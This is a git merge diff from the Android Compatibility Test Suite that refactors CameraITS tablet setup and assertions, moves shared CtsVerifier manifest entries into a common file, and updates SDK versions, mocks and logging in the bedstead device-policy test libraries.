Merge "Add test for two new SmsManager methods" into sc-dev
diff --git a/apps/CameraITS2.0/config.yml b/apps/CameraITS2.0/config.yml
index bc19025..af8bc45 100644
--- a/apps/CameraITS2.0/config.yml
+++ b/apps/CameraITS2.0/config.yml
@@ -13,7 +13,7 @@
 # limitations under the License.
 
 TestBeds:
-  - Name: TEST_BED_TABLET_SCENES
+  - Name: TEST_BED_TABLET_SCENES  # Need 'tablet' in name for tablet scenes
     # Test configuration for scenes[0:4, 6, _change]
     Controllers:
         AndroidDevice:
@@ -29,7 +29,7 @@
       camera: <camera-id>
       scene: <scene-name>  # if <scene-name> left as-is runs all scenes
 
-  - Name: TEST_BED_SENSOR_FUSION
+  - Name: TEST_BED_SENSOR_FUSION  # Need 'sensor_fusion' in name for SF tests
     # Test configuration for sensor_fusion/test_sensor_fusion.py
     Controllers:
         AndroidDevice:
diff --git a/apps/CameraITS2.0/tests/its_base_test.py b/apps/CameraITS2.0/tests/its_base_test.py
index 8c5ea76..1f96200 100644
--- a/apps/CameraITS2.0/tests/its_base_test.py
+++ b/apps/CameraITS2.0/tests/its_base_test.py
@@ -24,7 +24,8 @@
 import its_session_utils
 
 ADAPTIVE_BRIGHTNESS_OFF = '0'
-DISPLAY_TIMEOUT = 1800000  # ms
+TABLET_CMD_DELAY_SEC = 0.5  # found empirically
+TABLET_DIMMER_TIMEOUT_MS = 1800000  # this is max setting possible
 CTS_VERIFIER_PKG = 'com.android.cts.verifier'
 MBS_PKG_TXT = 'mbs'
 MBS_PKG = 'com.google.android.mobly.snippet.bundled'
@@ -136,7 +137,11 @@
     time.sleep(WAIT_TIME_SEC)
 
   def setup_tablet(self):
-    self.tablet.adb.shell(['input', 'keyevent ', 'KEYCODE_WAKEUP'])
+    # KEYCODE_POWER to reset dimmer timer. KEYCODE_WAKEUP no effect if ON.
+    self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_POWER'])
+    time.sleep(TABLET_CMD_DELAY_SEC)
+    self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_WAKEUP'])
+    time.sleep(TABLET_CMD_DELAY_SEC)
     # Turn off the adaptive brightness on tablet.
     self.tablet.adb.shell(
         ['settings', 'put', 'system', 'screen_brightness_mode',
@@ -148,7 +153,7 @@
     logging.debug('Tablet brightness set to: %s',
                   format(self.tablet_screen_brightness))
     self.tablet.adb.shell('settings put system screen_off_timeout {}'.format(
-        DISPLAY_TIMEOUT))
+        TABLET_DIMMER_TIMEOUT_MS))
     self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
 
   def parse_hidden_camera_id(self):
diff --git a/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf
index 92753c4..4bf85ee 100644
--- a/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf
+++ b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf
index 3103cd8..a9a2fbc 100644
--- a/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf
+++ b/apps/CameraITS2.0/tests/scene1_1/scene1_1_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py b/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py
index b85bec0..dc37d7b 100644
--- a/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py
+++ b/apps/CameraITS2.0/tests/scene1_1/test_param_color_correction.py
@@ -131,33 +131,34 @@
       pylab.ylabel('RGB patch means')
       matplotlib.pyplot.savefig(
           '%s_plot_means.png' % os.path.join(log_path, NAME))
-
       # Ensure that image is not clamped to white/black.
-      assert all(RGB_RANGE_THRESH < g_means[i] < 1.0-RGB_RANGE_THRESH
-                 for i in capture_idxs), 'Image too dark/bright! Check setup.'
+      if not all(RGB_RANGE_THRESH < g_means[i] < 1.0-RGB_RANGE_THRESH
+                 for i in capture_idxs):
+        raise AssertionError('Image too dark/bright! Check setup.')
 
       # Expect G0 == G1 == G2, R0 == 0.5*R1 == R2, B0 == B1 == 0.5*B2
       # assert planes in caps expected to be equal
-      e_msg = 'G[0] vs G[1] too different. [0]: %.3f, [1]: %.3f' % (
-          g_means[0], g_means[1])
-      assert abs(g_means[1] - g_means[0]) < RGB_DIFF_THRESH, e_msg
-      e_msg = 'G[1] vs G[2] too different. [1]: %.3f, [2]: %.3f' % (
-          g_means[1], g_means[2])
-      assert abs(g_means[2] - g_means[1]) < RGB_DIFF_THRESH, e_msg
-      e_msg = 'R[0] vs R[2] too different. [0]: %.3f, [2]: %.3f' % (
-          r_means[0], r_means[2])
-      assert abs(r_means[2] - r_means[0]) < RGB_DIFF_THRESH, e_msg
-      e_msg = 'B[0] vs B[1] too different. [0]: %.3f, [1]: %.3f' % (
-          b_means[0], b_means[1])
-      assert abs(b_means[1] - b_means[0]) < RGB_DIFF_THRESH, e_msg
+      if abs(g_means[1] - g_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('G[0] vs G[1] too different. '
+                             f'[0]: {g_means[0]:.3f}, [1]: {g_means[1]:.3f}')
+      if abs(g_means[2] - g_means[1]) > RGB_DIFF_THRESH:
+        raise AssertionError('G[1] vs G[2] too different. '
+                             f'[1]: {g_means[1]:.3f}, [2]: {g_means[2]:.3f}')
+      if abs(r_means[2] - r_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('R[0] vs R[2] too different. '
+                             f'[0]: {r_means[0]:.3f}, [2]: {r_means[2]:.3f}')
+      if abs(b_means[1] - b_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('B[0] vs B[1] too different. '
+                             f'[0]: {b_means[0]:.3f}, [1]: {b_means[1]:.3f}')
 
       # assert boosted planes in caps
-      e_msg = 'R[1] not boosted enough. [0]: %.3f, [1]: %.3f' % (
-          r_means[0], r_means[1])
-      assert abs(r_means[1] - 2*r_means[0]) < RGB_DIFF_THRESH, e_msg
-      e_msg = 'B[2] not boosted enough. [0]: %.3f, [2]: %.3f' % (
-          b_means[0], b_means[2])
-      assert abs(b_means[2] - 2*b_means[0]) < RGB_DIFF_THRESH, e_msg
+      if abs(r_means[1] - 2*r_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('R[1] not boosted enough or too much. '
+                             f'[0]: {r_means[0]:.4f}, [1]: {r_means[1]:.4f}')
+      if abs(b_means[2] - 2*b_means[0]) > RGB_DIFF_THRESH:
+        raise AssertionError('B[2] not boosted enough or too much. '
+                             f'[0]: {b_means[0]:.4f}, [2]: {b_means[2]:.4f}')
+
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf
index 92753c4..4bf85ee 100644
--- a/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf
+++ b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf
index 3103cd8..a9a2fbc 100644
--- a/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf
+++ b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_a/test_effects.py b/apps/CameraITS2.0/tests/scene2_a/test_effects.py
index d5bfcab..59c01ef 100644
--- a/apps/CameraITS2.0/tests/scene2_a/test_effects.py
+++ b/apps/CameraITS2.0/tests/scene2_a/test_effects.py
@@ -61,16 +61,9 @@
       props = cam.override_with_hidden_physical_camera_props(props)
       mono_camera = camera_properties_utils.mono_camera(props)
 
-      # Calculate camera_fov which will determine the image to load on tablet.
-      camera_fov = cam.calc_camera_fov(props)
-      file_name = cam.get_file_name_to_load(self.chart_distance, camera_fov,
-                                            self.scene)
-      logging.debug('Displaying %s on the tablet', file_name)
-
-      # Display the scene on the tablet depending on camera_fov.
-      self.tablet.adb.shell(
-          'am start -a android.intent.action.VIEW -d file:/sdcard/Download/%s'%
-          file_name)
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
       # Determine available effects and run test(s)
       effects = props['android.control.availableEffects']
diff --git a/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py
index f47ca45..e67000f 100644
--- a/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py
+++ b/apps/CameraITS2.0/tests/scene3/test_lens_movement_reporting.py
@@ -89,7 +89,7 @@
   return data_set
 
 
-class TestLensMovementReporting(its_base_test.ItsBaseTest):
+class LensMovementReportingTest(its_base_test.ItsBaseTest):
   """Test if focus distance is properly reported.
 
   Do unit step of focus distance and check sharpness correlates.
diff --git a/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py
index 0e0eefd..e616ab2 100644
--- a/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py
+++ b/apps/CameraITS2.0/tests/scene3/test_reprocess_edge_enhancement.py
@@ -38,10 +38,9 @@
 def check_edge_modes(sharpness):
   """Check that the sharpness for the different edge modes is correct."""
   logging.debug(' Verify HQ is sharper than OFF')
-  e_msg = 'HQ: %.5f, OFF: %.5f, RTOL: %.2f' % (
-      sharpness[EDGE_MODES['HQ']], sharpness[EDGE_MODES['OFF']],
-      SHARPNESS_RTOL)
-  assert sharpness[EDGE_MODES['HQ']] > sharpness[EDGE_MODES['OFF']], e_msg
+  if sharpness[EDGE_MODES['HQ']] < sharpness[EDGE_MODES['OFF']]:
+    raise AssertionError(f"HQ: {sharpness[EDGE_MODES['HQ']]:.5f}, "
+                         f"OFF: {sharpness[EDGE_MODES['OFF']]:.5f}")
 
   logging.debug('Verify ZSL is similar to OFF')
   e_msg = 'ZSL: %.5f, OFF: %.5f, RTOL: %.2f' % (
diff --git a/apps/CameraITS2.0/tools/run_all_tests.py b/apps/CameraITS2.0/tools/run_all_tests.py
index f150220..2ff409d 100644
--- a/apps/CameraITS2.0/tools/run_all_tests.py
+++ b/apps/CameraITS2.0/tools/run_all_tests.py
@@ -20,20 +20,15 @@
 import sys
 import tempfile
 import time
-
 import yaml
 
-
 YAML_FILE_DIR = os.environ['CAMERA_ITS_TOP']
 CONFIG_FILE = os.path.join(YAML_FILE_DIR, 'config.yml')
-TEST_BED_TABLET_SCENES = 'TEST_BED_TABLET_SCENES'
-TEST_BED_SENSOR_FUSION = 'TEST_BED_SENSOR_FUSION'
-PROC_TIMEOUT_CODE = -101  # terminated process return -process_id
-PROC_TIMEOUT_TIME = 900  # timeout in seconds for a process (15 minutes)
+TEST_KEY_TABLET = 'tablet'
+TEST_KEY_SENSOR_FUSION = 'sensor_fusion'
 LOAD_SCENE_DELAY = 1  # seconds
 ACTIVITY_START_WAIT = 1.5  # seconds
 
-
 RESULT_PASS = 'PASS'
 RESULT_FAIL = 'FAIL'
 RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
@@ -48,6 +43,7 @@
 EXTRA_RESULTS = 'camera.its.extra.RESULTS'
 TIME_KEY_START = 'start'
 TIME_KEY_END = 'end'
+
 # All possible scenes
 # Notes on scene names:
 #   scene*_1/2/... are same scene split to load balance run times for scenes
@@ -90,7 +86,7 @@
     'scene_change': []
 }
 
-_DST_SCENE_DIR = '/sdcard/Download/'
+_DST_SCENE_DIR = '/mnt/sdcard/Download/'
 MOBLY_TEST_SUMMARY_TXT_FILE = 'test_mobly_summary.txt'
 
 
@@ -283,10 +279,10 @@
   config_file_contents = get_config_file_contents()
   for i in config_file_contents['TestBeds']:
     if scenes == ['sensor_fusion']:
-      if i['Name'] != TEST_BED_SENSOR_FUSION:
+      if TEST_KEY_SENSOR_FUSION not in i['Name'].lower():
         config_file_contents['TestBeds'].remove(i)
     else:
-      if i['Name'] != TEST_BED_TABLET_SCENES:
+      if TEST_KEY_SENSOR_FUSION in i['Name'].lower():
         config_file_contents['TestBeds'].remove(i)
 
  # Get test parameters from config file
@@ -298,7 +294,7 @@
 
   device_id = get_device_serial_number('dut', config_file_contents)
 
-  if config_file_contents['TestBeds'][0]['Name'] == TEST_BED_TABLET_SCENES:
+  if TEST_KEY_TABLET in config_file_contents['TestBeds'][0]['Name'].lower():
     tablet_id = get_device_serial_number('tablet', config_file_contents)
   else:
     tablet_id = None
diff --git a/apps/CameraITS2.0/utils/cv2_image_processing_utils.py b/apps/CameraITS2.0/utils/cv2_image_processing_utils.py
index dde4570..55f341d 100644
--- a/apps/CameraITS2.0/utils/cv2_image_processing_utils.py
+++ b/apps/CameraITS2.0/utils/cv2_image_processing_utils.py
@@ -391,15 +391,13 @@
 
   if num_circles == 0:
     image_processing_utils.write_image(img/255, img_name, True)
-    logging.error('No black circle detected. '
-                  'Please take pictures according to instruction carefully!')
-    assert num_circles == 1
+    raise AssertionError('No black circle detected. '
+                         'Please take pictures according to instructions.')
 
   if num_circles > 1:
     image_processing_utils.write_image(img/255, img_name, True)
-    logging.debug('More than 1 black circle detected. '
-                  'Background of scene may be too complex.')
-    assert num_circles == 1
+    raise AssertionError('More than 1 black circle detected. '
+                         'Background of scene may be too complex.')
 
   return circle
 
diff --git a/apps/CameraITS2.0/utils/its_session_utils.py b/apps/CameraITS2.0/utils/its_session_utils.py
index 4794911..224b5ca 100644
--- a/apps/CameraITS2.0/utils/its_session_utils.py
+++ b/apps/CameraITS2.0/utils/its_session_utils.py
@@ -1120,8 +1120,8 @@
   logging.debug('Displaying %s on the tablet', file_name)
   # Display the scene on the tablet depending on camera_fov
   tablet.adb.shell(
-      'am start -a android.intent.action.VIEW -d file:/sdcard/Download/%s'%
-      file_name)
+      'am start -a android.intent.action.VIEW -t application/pdf '
+      f'-d file://mnt/sdcard/Download/{file_name}')
   time.sleep(LOAD_SCENE_DELAY_SEC)
   rfov_camera_in_rfov_box = (
       numpy.isclose(
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 090cc40..460497b 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -6,6 +6,7 @@
 android_test {
     name: "CtsVerifier",
     defaults: ["cts_error_prone_rules_tests"],
+    additional_manifests: ["AndroidManifest-common.xml"],
 
     compile_multilib: "both",
 
diff --git a/apps/CtsVerifier/AndroidManifest-common.xml b/apps/CtsVerifier/AndroidManifest-common.xml
new file mode 100644
index 0000000..925f8aa
--- /dev/null
+++ b/apps/CtsVerifier/AndroidManifest-common.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.verifier">
+
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="30"/>
+
+    <application android:networkSecurityConfig="@xml/network_security_config"
+                 android:label="@string/app_name"
+                 android:icon="@drawable/icon"
+                 android:debuggable="true"
+                 android:largeHeap="true"
+                 android:requestLegacyExternalStorage="true"
+                 android:allowBackup="false"
+                 android:theme="@android:style/Theme.DeviceDefault">
+
+        <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
+                   android:value="true"/>
+
+        <activity android:name=".TestListActivity" android:label="@string/app_name" />
+
+        <activity android:name=".ReportViewerActivity"
+                  android:configChanges="keyboardHidden|orientation|screenSize"
+                  android:label="@string/report_viewer" />
+    </application>
+
+    <queries>
+        <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
+        <package android:name="org.opencv.engine" />
+    </queries>
+</manifest>
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 1627837..67be612 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -16,9 +16,9 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.verifier"
-      android:versionCode="5"
-      android:versionName="11_r1">
+          package="com.android.cts.verifier"
+          android:versionCode="5"
+          android:versionName="11_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="30"/>
 
@@ -89,26 +89,10 @@
          removed once tests are refactored to use the proper IPC between theses users.  -->
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
 
-    <application android:networkSecurityConfig="@xml/network_security_config"
-            android:label="@string/app_name"
-            android:icon="@drawable/icon"
-            android:debuggable="true"
-            android:largeHeap="true"
-            android:requestLegacyExternalStorage="true"
-            android:allowBackup="false"
-            android:theme="@android:style/Theme.DeviceDefault">
+    <application>
 
         <meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
 
-        <meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
-            android:value="true"/>
-
-        <activity android:name=".TestListActivity" android:label="@string/app_name" />
-
-        <activity android:name=".ReportViewerActivity"
-                android:configChanges="keyboardHidden|orientation|screenSize"
-                android:label="@string/report_viewer" />
-
         <provider android:name=".TestResultsProvider"
                 android:authorities="com.android.cts.verifier.testresultsprovider"
                 android:grantUriPermissions="true"
@@ -3172,8 +3156,9 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_security" />
             <!-- KeyChain is only installed on communication-oriented devices inheriting core.mk -->
+            <!-- KeyChain is disabled for automotive as feature is not fully supported. -->
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
+                    android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
         </activity>
@@ -5439,9 +5424,4 @@
                        android:value="multi_display_mode" />
         </activity>
     </application>
-
-    <queries>
-         <!-- Rotation Vector CV Crosscheck (RVCVXCheckTestActivity) relies on OpenCV Manager -->
-         <package android:name="org.opencv.engine" />
-    </queries>
 </manifest>
diff --git a/common/device-side/bedstead/activitycontext/Android.bp b/common/device-side/bedstead/activitycontext/Android.bp
index 285b5eb..c3f7540 100644
--- a/common/device-side/bedstead/activitycontext/Android.bp
+++ b/common/device-side/bedstead/activitycontext/Android.bp
@@ -1,6 +1,6 @@
 android_library {
     name: "ActivityContext",
-    sdk_version: "26",
+    sdk_version: "27",
     srcs: [
         "src/main/java/**/*.java"
     ],
diff --git a/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
index 37f7c0c..dd320d9 100644
--- a/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.activitycontext">
-    <uses-sdk android:minSdkVersion="26" />
+    <uses-sdk android:minSdkVersion="27" />
     <application>
         <activity android:name=".ActivityContext" android:exported="true"/>
     </application>
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
index 6c04ed7..ac907be 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DeviceOwnerHelper.java
@@ -29,6 +29,7 @@
 import android.annotation.Nullable;
 import android.app.admin.DeviceAdminReceiver;
 import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
@@ -118,6 +119,8 @@
             TestAppCallbacksReceiver.sendBroadcast(context, intent);
             return;
         }
+        Log.d(TAG, "Broadcasting " + intent.getAction() + " locally on user "
+                + context.getUserId());
         LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
     }
 
@@ -128,10 +131,14 @@
 
         // Methods that use CharSequence instead of String
         if (methodName.equals("wipeData") && parameterTypes.length == 2) {
-            // wipeData() takes a CharSequence, but it's wrapped as String
             return clazz.getDeclaredMethod(methodName,
                     new Class<?>[] { int.class, CharSequence.class });
         }
+        if ((methodName.equals("setStartUserSessionMessage")
+                || methodName.equals("setEndUserSessionMessage"))) {
+            return clazz.getDeclaredMethod(methodName,
+                    new Class<?>[] { ComponentName.class, CharSequence.class });
+        }
 
         // Calls with null parameters (and hence the type cannot be inferred)
         Method method = findMethodWithNullParameterCall(clazz, methodName, parameterTypes);
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
index 646b853..c5f0e1f 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/DevicePolicyManagerWrapper.java
@@ -142,6 +142,15 @@
             doAnswer(answer).when(spy).wipeData(anyInt(), any());
             doAnswer(answer).when(spy).wipeData(anyInt());
 
+            // Used by ListForegroundAffiliatedUsersTest
+            doAnswer(answer).when(spy).listForegroundAffiliatedUsers();
+
+            // Used by UserSessionTest
+            doAnswer(answer).when(spy).getStartUserSessionMessage(any());
+            doAnswer(answer).when(spy).setStartUserSessionMessage(any(), any());
+            doAnswer(answer).when(spy).getEndUserSessionMessage(any());
+            doAnswer(answer).when(spy).setEndUserSessionMessage(any(), any());
+
             // TODO(b/176993670): add more methods below as tests are converted
         } catch (Exception e) {
             // Should never happen, but needs to be catch as some methods declare checked exceptions
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
index 3df6d62..33f8d78 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppHelper.java
@@ -20,6 +20,7 @@
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.IntentFilter;
+import android.util.Log;
 
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
@@ -28,6 +29,8 @@
  */
 public final class TestAppHelper {
 
+    private static final String TAG = TestAppHelper.class.getSimpleName();
+
     /**
      * Called by test case to register a {@link BrodcastReceiver} to receive intents sent by the
      * device owner's {@link android.app.admin.DeviceAdminReceiver}.
@@ -38,6 +41,8 @@
             TestAppCallbacksReceiver.registerReceiver(context, receiver, filter);
             return;
         }
+        Log.d(TAG, "Registering " + receiver + " to receive " + Utils.toString(filter)
+                + " locally on user " + context.getUserId());
         LocalBroadcastManager.getInstance(context).registerReceiver(receiver, filter);
     }
 
@@ -50,6 +55,7 @@
             TestAppCallbacksReceiver.unregisterReceiver(context, receiver);
             return;
         }
+        Log.d(TAG, "Unegistering " + receiver + " locally on user " + context.getUserId());
         LocalBroadcastManager.getInstance(context).unregisterReceiver(receiver);
     }
 
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 8a8ae70..65d4806 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -16,6 +16,7 @@
 package com.android.bedstead.dpmwrapper;
 
 import android.app.ActivityManager;
+import android.content.IntentFilter;
 import android.os.UserHandle;
 import android.os.UserManager;
 
@@ -49,6 +50,13 @@
                         + "called by process from user " + MY_USER_ID);
     }
 
+    static String toString(IntentFilter filter) {
+        StringBuilder builder = new StringBuilder("[");
+        filter.actionsIterator().forEachRemaining((s) -> builder.append(s).append(","));
+        builder.deleteCharAt(builder.length() - 1);
+        return builder.append(']').toString();
+    }
+
     private Utils() {
         throw new UnsupportedOperationException("contains only static methods");
     }
diff --git a/common/device-side/bedstead/eventlib/Android.bp b/common/device-side/bedstead/eventlib/Android.bp
index 2010d72..e6f5d6c 100644
--- a/common/device-side/bedstead/eventlib/Android.bp
+++ b/common/device-side/bedstead/eventlib/Android.bp
@@ -9,7 +9,7 @@
         "Nene",
         "androidx.test.ext.junit"],
     manifest: "src/main/AndroidManifest.xml",
-    min_sdk_version: "26"
+    min_sdk_version: "27"
 }
 
 android_test {
@@ -32,5 +32,5 @@
     ],
     data: [":EventLibTestApp"],
     manifest: "src/test/AndroidManifest.xml",
-    min_sdk_version: "26"
+    min_sdk_version: "27"
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
index 19ce3fa..edbb897 100644
--- a/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/eventlib/src/main/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib">
-    <uses-sdk android:minSdkVersion="26" />
+    <uses-sdk android:minSdkVersion="27" />
     <application>
         <service android:name="com.android.eventlib.QueryService" android:exported="true"/>
     </application>
diff --git a/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
index 710df7b..061629e 100644
--- a/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
+++ b/common/device-side/bedstead/eventlib/src/test/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib.test">
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
     <application
         android:label="Event Library Tests" android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
         <uses-library android:name="android.test.runner" />
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp b/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
index edf5790..8312d3b 100644
--- a/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
@@ -8,5 +8,5 @@
         "EventLib"
     ],
     manifest: "src/main/AndroidManifest.xml",
-    min_sdk_version: "26"
+    min_sdk_version: "27"
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
index f915144..86cf73b 100644
--- a/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -17,7 +17,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.eventlib.tests.testapp">
-    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
     <application>
         <activity android:name=".EventLoggingActivity"
                   android:exported="true">
diff --git a/common/device-side/bedstead/harrier/Android.bp b/common/device-side/bedstead/harrier/Android.bp
index 308a933..c94806f1 100644
--- a/common/device-side/bedstead/harrier/Android.bp
+++ b/common/device-side/bedstead/harrier/Android.bp
@@ -21,5 +21,7 @@
     ],
 
     static_libs: [
+        "Nene",
+        "compatibility-device-util-axt"
     ]
 }
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
similarity index 73%
rename from common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index 8b83757..17c3471 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -14,40 +14,39 @@
  * limitations under the License.
  */
 
-package com.android.compatibility.common.util.enterprise;
-
-import static android.app.UiAutomation.FLAG_DONT_USE_ACCESSIBILITY;
+package com.android.bedstead.harrier;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
